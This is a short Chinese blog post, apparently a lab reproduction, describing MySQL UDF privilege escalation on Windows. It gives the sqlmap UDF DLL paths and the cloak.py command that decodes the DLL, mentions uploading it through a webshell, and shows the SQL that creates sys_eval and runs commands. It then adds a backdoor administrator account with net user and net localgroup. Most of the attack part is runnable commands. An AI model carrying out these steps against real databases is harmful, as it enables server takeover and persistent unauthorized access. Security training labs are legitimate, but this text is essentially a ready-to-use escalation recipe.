MySQL--udf提权

udf提权

udf = 'user defined function',即‘用户自定义函数’。是通过添加新函数,对MYSQL的功能进行扩充。

  1. 如何获得udf文件
  2. 将文件放到哪才能让mysql承认这个函数
  3. 函数功能
  4. 为什么这东西能提权(自定义函数指令是直接以管理员的权限运行的)

前提

  •  SQL 注入且是高权限
  •  secure_file_priv 无限制
  •  plugin 目录可写

复现

环境:kali,win7,phpstudy,mysql5.5.47

1、udf位置

/usr/share/metasploit-framework/data/exploits/mysql
/usr/share/sqlmap/data/udf/mysql/windows/64/lib_mysqludf_sys.dll_

暂时不能用,需要解码

cd /usr/share/sqlmap/extra/cloak


python3 cloak.py -d -i /usr/share/sqlmap/data/udf/mysql/windows/64/lib_mysqludf_sys.dll_

2、文件路径

MySQL<5.0,导出路径随意;

5.0 <= MySQL<5.1,则需要导出至目标服务器的系统目录(如:system32)

MySQL 5.1以上版本,必须要把udf.dll文件放到MySQL安装目录下的lib\plugin文件夹下才能创建自定义函数。

 select @@basedir;     +lib/plugin/

tips:这里注意mysql的版本

 

 这里使用蚁剑将webshell上传上去

创建函数

create function sys_eval returns string soname 'udf.dll';

select sys_eval('whoami');

tips:这里需要改一下文件名

 提权成功,administrator用户

net user test test /add

net localgroup administrators test /add

函数功能

sys_eval 执行任意命令,并将输出返回。

sys_exec 执行任意命令,并将退出码返回。

sys_get 获取一个环境变量。

sys_set 创建或修改一个环境变量。

猜你喜欢

转载自blog.csdn.net/qq_56698744/article/details/131626200